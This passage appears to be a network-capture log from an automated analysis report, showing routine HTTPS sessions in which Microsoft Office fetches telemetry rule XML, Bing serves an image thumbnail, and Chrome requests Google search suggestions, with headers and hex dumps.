2024-11-25 06:53:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065325Z-174c587ffdf7t49mhC1TEB4qbg00000005g0000000009m6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:25 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065325Z-15b8b599d88tr2flhC1TEB5gk400000005t0000000003e20 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49746	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:25 UTC	346	OUT	GET /th?id=OADD2.10239317301666_1OXPU2W8OTP7BGNK2&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 06:53:25 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 515610 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A1FFEB6737AD4BCCA312458E7CEE6FD1 Ref B: EWR30EDGE1614 Ref C: 2024-11-25T06:53:25Z Date: Mon, 25 Nov 2024 06:53:24 GMT Connection: close
2024-11-25 06:53:25 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: 08 bb e2 a4 69 0d b7 5f 9a b4 21 8f e5 e9 55 e1 8b 2d d2 b4 6d d7 e5 e9 51 22 e2 88 95 0f a5 0c 84 76 ab 4b 16 0f 4a 0c 7e d8 a9 b9 76 2a aa d4 91 d4 9e 5e 0d 35 97 14 80 76 d0 79 a6 e3 1d a9 d1 93 d0 ff 00 3a 91 97 e5 a4 32 bb 36 38 06 93 7d 3e 44 a8 58 63 8c 53 11 32 b8 dd c5 5c b5 7c 71 59 f1 f0 73 56 ad db 0d 49 8d 17 cb 0f c2 93 35 5f cd e6 8f 33 de a2 c5 dc 90 b6 1b 19 a6 c8 fc 53 0b e4 f5 a6 39 e3 39 a7 61 5c 7a 72 d5 2b 26 ee 95 04 47 35 65 5d 40 14 98 d5 86 b2 61 7a 54 2c 3d aa c3 30 34 d2 99 a4 36 ae 40 a3 3c 51 53 04 19 e0 f6 f5 a2 8b 87 29 85 c8 fe b4 e0 4e 3a d1 8c af 34 28 e3 93 5f 44 78 23 97 ef 74 15 62 36 e2 a1 41 ed 53 c6 07 eb 50 ca 27 b7 1b 8e 2b 52 c6 0c 8e 7f 95 67 da ff 00 ac e0 56 d5 a0 dd 1d 43 1c 4b d6 70 aa a8 15 76 de 3d f2 6d Data Ascii: i_!U-mQ"vKJ~v*^5vy:268}>DXcS2\\|qYsVI5_3S99a\zr+&G5e]@azT,=046@<QS)N:4(_Dx#tb6ASP'+RgVCKpv=m
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: a1 60 53 38 1f 8d 15 d3 ea 16 41 83 1c 7e 94 53 e6 27 95 9b f0 96 6e d5 76 dc 55 2b 59 54 0a b2 92 0f 5a f4 4f 3e e6 9d bc 81 46 00 ab f6 f7 66 3e 01 ac 68 a4 f7 ab 30 b0 ee 6b 36 8b b9 d0 58 de bb 63 9a de d3 35 00 8b cf 35 c8 5b cc 15 6b 42 d6 e8 8e f5 0e 23 b9 e8 9a 0e a6 bb d5 73 fa d7 4b 0d c2 ba e4 1a f2 fd 26 f8 24 ca 4b 57 5d a4 ea 39 19 53 c7 d6 aa 32 b1 9c a3 73 a9 0d 9a 5a a7 05 ca 3a 86 53 53 49 27 cb 90 6b 5b 99 12 93 8a 37 0f 5a a5 25 ce 3b d3 63 9f 73 75 e2 a7 99 15 ca cb fc 1f a5 41 70 a0 ae 28 85 f3 dc d4 9b 47 5a a2 4c b3 6c 0c c7 d3 e9 45 c5 88 2b f2 8a d1 68 fe 6c e2 91 87 b5 2b 01 ce dd 42 db 0a e3 ff 00 ad 52 d9 d9 0d a2 40 39 ab fa 84 61 bb 52 db a9 48 70 2a 79 55 c2 ec 81 53 69 c6 39 ab 11 2a ed e4 73 4f 55 00 66 96 34 2d cf 6a 7c Data Ascii: `S8A~S'nvU+YTZO>Ff>h0k6Xc55[kB#sK&$KW]9S2sZ:SSI'k[7Z%;csuAp(GZLlE+hl+BR@9aRHpyUSi9sOUf4-j\|
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: ee 88 dd c5 46 1f 0b d7 b5 36 e2 4c b7 5a 85 9e 9d 86 32 e9 be 5a a5 31 ab 53 9d cb 8a cf 91 b0 69 0d 32 39 0f 35 03 b7 35 24 86 a0 92 a1 a2 d3 1a ed ef 4c df 48 d9 f4 a6 9a 06 39 9a 9b e6 53 5b 27 9a 8d b3 9e 95 2d 0d 32 6d ff 00 ce 8f 33 d6 a0 c9 a3 71 35 9d 8b 4c b1 bc 76 a7 ab fb d5 5c 9a 72 b1 a5 ca 57 33 2e 2c 9e b5 34 32 80 6a 8a b6 7d 6a 68 87 3d 68 e5 0e 66 69 42 f9 c7 d2 9c d8 27 a5 43 00 fe ed 4f b0 fa 53 e5 27 98 54 51 eb 53 28 3d a8 86 22 cc 32 2a f2 da b6 d0 76 d2 e5 2b 9c 6d bc 05 f9 35 72 da cc ee c6 2a f6 97 a7 b3 2a b6 de 3e 95 d7 68 fa 14 6f 6c 1f 6e 5b e9 47 2a 44 f3 b3 96 87 4f 60 07 15 6a 3b 6e 8b 8a eb ff 00 b2 93 6e 02 72 3a f1 53 a6 8c 9b 71 e5 7e 38 a9 76 05 36 72 09 6e 48 d9 8a 9a 3d 2e 53 f7 50 9e dd 2b b2 b5 f0 fa c5 b6 66 1b Data Ascii: F6LZ2Z1Si2955$LH9S['-2m3q5Lv\rW3.,42j}jh=hfiB'COS'TQS(="2v+m5r>holn[GDO`j;nnr:Sq~8v6rnH=.SP+f
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: 3b 57 24 6c 39 fa 63 be 69 ba 96 7a a2 d4 62 f6 29 69 33 c7 1d bc 96 ec 33 16 72 c1 87 7f 7a b6 d7 76 02 d8 ef fd d3 74 0a 1b 3f 95 46 ba 0d d0 85 2e ad ae 6d 23 59 14 6e 49 65 39 03 1d 7a 7e 95 25 be 9c 23 b8 da c5 65 2a b9 67 1f 2a 81 9f 7e fd 2a 7d c9 3d c1 e9 1d 50 e5 60 bf 7c 85 89 7e 60 c4 e1 48 ff 00 0c 51 54 ee a7 b7 6d de 67 ca 5b f7 5e 5e df 97 ae 73 f8 9c 7e 54 56 f1 56 5a 9c d2 96 a6 ac 31 34 76 d2 da 38 56 13 2e e5 62 70 09 cf 5a 55 57 46 f3 22 21 77 61 64 08 38 24 0f bd fc e8 d9 e7 5b 79 73 49 f3 44 cd b5 c0 21 a2 61 d0 1f a6 4e 7d 69 c9 20 92 16 52 bb 64 5d a2 58 d4 fc a7 d1 81 ad 08 21 b8 89 5a 4c 87 56 0c d8 0c c7 ef 1e c2 a8 de c5 b2 e1 4c 7e a0 6d cf 6f 4a d0 d5 23 51 b9 94 60 33 00 c3 9e 08 fe b5 4e fb 64 91 6e 1f 2f 20 a9 c7 5c 53 5b Data Ascii: ;W$l9cizb)i33rzvt?F.m#YnIe9z~%#eg~*}=P`\|~`HQTmg[^^s~TVVZ14v8V.bpZUWF"!wad8$[ysID!aN}i Rd]X!ZLVL~moJ#Q`3Ndn/ \S[
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: b2 90 32 aa 71 d7 3c 53 e2 0e ea af 3c 6f 18 c7 0c 46 09 f7 aa d6 e1 97 6e 59 87 39 cf f2 35 60 cd 34 bb b7 34 92 15 ce 73 50 d1 a4 65 a9 24 f1 27 fa d0 37 60 65 b6 9c 66 9b a5 86 8c b3 31 c6 4e 7e 63 51 97 2c db 8a ee 53 d4 a9 c1 c6 3a 53 a4 b8 8b c9 8d 7c a3 c7 de 04 9e 7d 2a 1a 76 b1 a2 6a f7 2c 6d b8 6c ba f0 a3 3f 36 ea 86 36 47 90 64 7c b9 c1 00 f5 a9 96 68 56 10 55 49 3c 8c 16 f9 7f 0a 48 d2 37 52 d1 16 2c 0f cc 09 03 f2 3e f5 09 f9 1a b8 ed 66 25 e3 79 db 61 60 aa 7a a0 aa a1 e5 17 3b 63 46 da a3 00 63 00 55 c9 36 3b 30 84 6d 6c 65 95 bf a5 1e 56 eb 58 c6 c1 9e a4 f9 9c 1c f6 34 d4 b9 51 12 a7 cc ef 71 a9 a8 ba 05 80 7c bb 80 25 73 e8 78 e9 da 8a 8f ec 86 46 69 0c 38 29 f2 85 56 04 e3 da 8a b5 28 f7 23 d9 c9 f4 2f 5d da 35 8d fc 66 72 cd 6c c9 fe Data Ascii: 2q<S<oFnY95`44sPe$'7`ef1N~cQ,S:S\|}*vj,ml?66Gd\|hVUI<H7R,>f%ya`z;cFcU6;0mleVX4Qq\|%sxFi8)V(#/]5frl
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: 19 be 6e 39 14 d9 22 96 39 0e cc 38 ce 38 34 6f 8d 24 24 0c ee ea 87 a6 3e b5 24 87 76 d4 89 63 1b b9 1c f2 3d 8d 2b ea 3e 54 51 f3 58 7c ae 9b 79 e0 f7 15 24 6d 23 27 0e b9 cf cd 93 da ac 5b b6 25 06 48 a2 93 fd 99 3b 0f 6a 6e 22 65 22 dd 19 59 4e 4a 96 dd 9e 7a 7b 55 73 74 33 54 fa dc 64 30 c2 24 f3 18 f1 f8 8a b7 63 89 77 c3 21 2c ae 30 81 73 cf d4 d5 76 db 2a 80 88 b1 e5 b0 46 e3 8f 6e bf 8d 3a 58 a6 b7 9b 69 66 52 46 76 e6 a2 5a ab 16 a2 96 a9 13 05 8c 42 30 24 0c bd 8f 20 ff 00 f5 ea 11 b3 cc 55 91 9c ff 00 79 4a 63 1f fe ba 11 c7 98 41 63 b4 73 8c e3 9a 54 62 fb 4e f6 de 38 2d bb a8 fa 54 a4 d1 42 36 d3 26 5d 4a ff 00 74 2e 29 cc 81 58 b2 32 f4 f9 40 07 39 a1 95 de dd 99 22 f9 54 e0 be 72 73 4d b5 92 30 db 88 cf 38 cb 12 28 b8 68 10 b0 2e 06 e6 6e Data Ascii: n9"9884o$$>$vc=+>TQX\|y$m#'[%H;jn"e"YNJz{Ust3Td0$cw!,0sv*Fn:XifRFvZB0$ UyJcAcsTbN8-TB6&]Jt.)X2@9"TrsM08(h.n
2024-11-25 06:53:26 UTC	16065	IN	Data Raw: e6 9d 05 b3 1b e5 86 37 66 66 ea cc 3a 1c 73 5a 7b 34 b5 32 75 ae d4 56 c5 84 f2 a3 85 58 36 5f 77 cc df e1 56 92 72 f6 ad b8 b1 90 0e 46 00 a8 7e cb 21 87 cc e7 6a f0 cf 8c f3 f4 a7 db 59 3d ce 08 65 8c b9 1f eb 0f 51 8a ce 5c bb b3 a2 3c cb 61 15 ed d6 16 40 19 59 80 f9 d7 a8 35 5a 19 88 0d 1c 8f f2 f5 60 0d 4f 15 a3 17 65 94 ec f2 ce 37 67 70 3c ff 00 2a 75 d5 b2 99 8a 00 be 67 04 15 f4 f7 a7 78 a1 38 b7 61 23 92 52 ca f1 9f 97 21 5b 23 82 3d 6a 7f 3e 48 2f 02 34 51 80 c3 8c 1f cc e6 94 e1 2d 4c 32 a1 8b 20 ec 28 41 5c ff 00 f5 ea 09 63 46 86 37 56 65 38 ce e2 3f 3a 9d 19 5a ad b7 24 9a f0 06 6d c5 77 76 c5 3e d6 e9 9d d0 38 5c 73 b4 a7 18 f5 e6 a2 74 41 20 99 0c 6c 02 8c 2b 1c 13 49 24 85 18 ca 42 e1 bf bb fc 39 f5 14 72 ad 81 49 f5 24 69 65 86 ec c5 Data Ascii: 7ff:sZ{42uVX6_wVrF~!jY=eQ\<a@Y5Z`Oe7gp<*ugx8a#R![#=j>H/4Q-L2 (A\cF7Ve8?:Z$mwv>8\stA l+I$B9rI$ie
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: f2 01 f9 33 bb 08 3b d3 37 29 01 83 6e 6c 80 c4 9f 9b 35 d5 14 70 49 dc 45 0c 18 64 0d a4 75 6e e6 9c 24 78 d7 6a cb f2 b6 72 18 71 cd 5c 84 41 04 6b fb d5 66 e7 39 03 1f 4a 86 18 a3 9e ea 38 94 00 4b 74 39 20 0f 5f a5 1c ca e0 93 1b 09 28 33 6c fb a5 da 72 5b b0 f5 cd 4f a3 db 49 71 27 98 dc 22 f2 78 eb f4 ab eb a6 db c5 0f 9b 3e d6 66 03 2a 0f 19 ec 3f 95 49 6f 2e c7 fb 33 c9 97 53 93 85 e0 0a cd d4 5d 0e 88 d0 9d af 21 d8 92 d2 19 24 6b 65 8c e0 85 3b 46 71 ed f5 aa f2 4d 23 7d 9e 12 02 ab ed 66 79 06 3a f2 4f 3e dd 2a e4 91 c4 b7 46 69 d5 99 36 66 25 dd f7 9b 3c 71 d9 46 39 f5 a6 34 88 d7 11 cb 72 f3 48 f2 20 2b 13 28 51 8e 99 3f ae 07 d2 a1 c5 6e 68 9c 9d d1 66 d6 dd a6 b5 96 69 64 db 1a c6 54 4a e0 15 db 9e c0 f5 26 a9 ea 77 d6 6d 26 2d e3 d8 54 7c Data Ascii: 3;7)nl5pIEdun$xjrq\Akf9J8Kt9 _(3lr[OIq'"x>f?Io.3S]!$ke;FqM#}fy:O>Fi6f%<qF94rH +(Q?nhfidTJ&wm&-T\|
2024-11-25 06:53:26 UTC	16384	IN	Data Raw: 13 ec f4 dc e3 c6 9d 2e ef 2d 61 32 14 23 0c 0f f2 15 a5 a6 68 eb 1c 6b e7 41 b9 d8 ee 04 b1 00 e7 fc 6b a6 b3 87 ec 33 34 10 5a 46 b2 af 32 0c ef 08 84 8e 87 bb 1e e7 d6 85 96 59 af ae 2e fe cc df ea 5d 21 0f d7 20 71 c7 a8 a5 2a 97 1c 69 db 53 96 9b 48 bc 59 6e 20 b7 88 b2 ca 55 8c 43 e6 31 8c f5 3d b1 eb 55 35 0b 69 07 97 6f 6e 64 8c 46 7e 66 23 e5 51 83 92 3d 8f 6a eb ad 74 f7 8b 55 5b d6 8e 48 e7 93 00 2b 23 6d c1 1c e4 7e 39 fc aa 65 d2 ed ac 64 12 cc a9 24 92 7f 1b 70 a9 8e 06 46 3b f6 ef 47 b5 17 b3 ea 70 b6 5a 2d fc f0 ae e2 b1 44 b9 39 90 1f e4 39 e6 b4 25 d2 a7 b6 b5 58 a3 9c 71 c8 ed 93 dc e0 fb 57 79 2c 30 cf 08 4b 1b 27 4b 95 70 1a 35 0c f9 8f 18 20 7a 1f af 5a ab 79 6b e6 ac 97 76 30 db a4 2d 27 11 b9 2c 14 9e 15 49 3d 58 f3 d6 a7 db 6a 5a Data Ascii: .-a2#hkAk34ZF2Y.]! q*iSHYn UC1=U5iondF~f#Q=jtU[H+#m~9ed$pF;GpZ-D99%XqWy,0K'Kp5 zZykv0-',I=XjZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49749	142.250.181.68	443	7668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:27 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 06:53:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-3MFKrzuUx1axseqdBgnwow' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 06:53:27 UTC	124	IN	Data Raw: 31 37 63 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6a 69 6d 20 6d 6f 6e 74 67 6f 6d 65 72 79 20 73 74 20 6c 6f 75 69 73 20 62 6c 75 65 73 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 22 2c 22 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 20 73 68 69 62 61 20 69 6e 75 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 22 2c 22 6e Data Ascii: 17ce)]}'["",["jim montgomery st louis blues","nyt strands hints","cryptocurrency shiba inu","disney dreamlight valley","n
2024-11-25 06:53:27 UTC	1390	IN	Data Raw: 79 20 6d 65 74 73 20 6a 75 61 6e 20 73 6f 74 6f 22 2c 22 66 72 6f 6d 20 73 65 61 73 6f 6e 20 33 20 65 70 69 73 6f 64 65 20 31 30 20 66 69 6e 61 6c 65 22 2c 22 68 79 75 6e 64 61 69 20 72 65 63 61 6c 6c 73 22 2c 22 66 72 65 65 20 66 6f 72 74 6e 69 74 65 20 72 65 64 65 65 6d 20 63 6f 64 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 Data Ascii: y mets juan soto","from season 3 episode 10 finale","hyundai recalls","free fortnite redeem codes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggest
2024-11-25 06:53:27 UTC	1390	IN	Data Raw: 5a 6d 68 5a 4e 6b 5a 54 56 48 68 53 55 6d 78 58 61 6e 6c 76 4f 45 35 46 4e 33 70 57 52 33 4a 77 63 47 46 6a 65 54 68 54 65 56 6c 43 52 45 52 6b 56 44 42 4a 4f 55 52 32 63 46 5a 77 63 58 46 53 59 55 5a 58 63 55 6b 79 4e 47 31 69 61 48 67 30 4e 32 45 31 57 48 56 55 4e 55 31 4d 53 32 5a 35 54 57 78 51 5a 55 74 47 52 32 68 77 4e 54 52 44 63 32 4e 6a 51 6e 68 4b 53 55 4a 33 63 33 67 32 52 48 70 36 62 30 68 6a 4e 32 74 50 4f 55 31 36 52 6d 4e 78 5a 6d 67 79 4c 32 4a 53 54 32 39 7a 54 6a 4e 79 59 55 78 31 53 56 6c 74 61 6c 70 6d 61 31 64 56 4e 46 5a 30 51 6c 6c 6c 65 56 59 31 4f 54 52 52 55 56 5a 70 55 6e 52 32 64 56 5a 69 53 56 67 78 4d 56 42 72 51 7a 6c 36 56 79 74 55 53 7a 68 6c 59 54 42 75 54 6d 4a 6c 4d 54 42 31 52 6b 52 48 57 56 46 78 51 31 4a 58 52 57 45 Data Ascii: ZmhZNkZTVHhSUmxXanlvOE5FN3pWR3JwcGFjeThTeVlCRERkVDBJOUR2cFZwcXFSYUZXcUkyNG1iaHg0N2E1WHVUNU1MS2Z5TWxQZUtGR2hwNTRDc2NjQnhKSUJ3c3g2RHp6b0hjN2tPOU16RmNxZmgyL2JST29zTjNyYUx1SVltalpma1dVNFZ0QllleVY1OTRRUVZpUnR2dVZiSVgxMVBrQzl6VytUSzhlYTBuTmJlMTB1RkRHWVFxQ1JXRWE
2024-11-25 06:53:27 UTC	1390	IN	Data Raw: 31 48 54 6c 64 4d 51 57 56 6c 63 47 52 6d 4e 48 70 45 56 33 5a 47 4f 55 74 75 57 54 5a 53 4d 43 74 54 4d 58 49 7a 52 31 70 72 62 7a 4e 4e 4f 46 52 73 4e 6d 52 50 53 47 52 6e 59 31 6c 49 54 57 35 57 51 6a 64 50 56 55 78 34 4d 44 46 51 55 6a 42 70 63 57 46 78 63 47 4e 4c 62 54 4a 34 57 57 35 42 53 6a 68 30 65 54 4e 72 54 53 74 48 63 44 64 61 55 6e 67 7a 53 30 4e 4b 61 6a 68 45 54 30 4e 6d 64 48 59 34 51 58 68 78 65 43 38 77 4e 32 46 4c 55 79 39 57 52 6d 52 4f 64 33 51 33 52 45 4a 74 54 6c 41 33 61 32 31 57 57 44 64 6a 53 57 73 78 56 58 42 76 57 45 56 53 61 44 64 56 4d 44 46 51 55 56 56 4f 52 46 6f 30 52 32 4a 31 4e 47 68 33 62 47 63 79 52 30 6b 30 5a 44 68 75 53 54 55 33 61 79 74 4b 54 32 77 33 64 47 68 6a 56 33 52 49 57 6b 39 6f 63 7a 68 69 4c 32 6f 78 61 Data Ascii: 1HTldMQWVlcGRmNHpEV3ZGOUtuWTZSMCtTMXIzR1prbzNNOFRsNmRPSGRnY1lITW5WQjdPVUx4MDFQUjBpcWFxcGNLbTJ4WW5BSjh0eTNrTStHcDdaUngzS0NKajhET0NmdHY4QXhxeC8wN2FLUy9WRmROd3Q3REJtTlA3a21WWDdjSWsxVXBvWEVSaDdVMDFQUVVORFo0R2J1NGh3bGcyR0k0ZDhuSTU3aytKT2w3dGhjV3RIWk9oczhiL2oxa
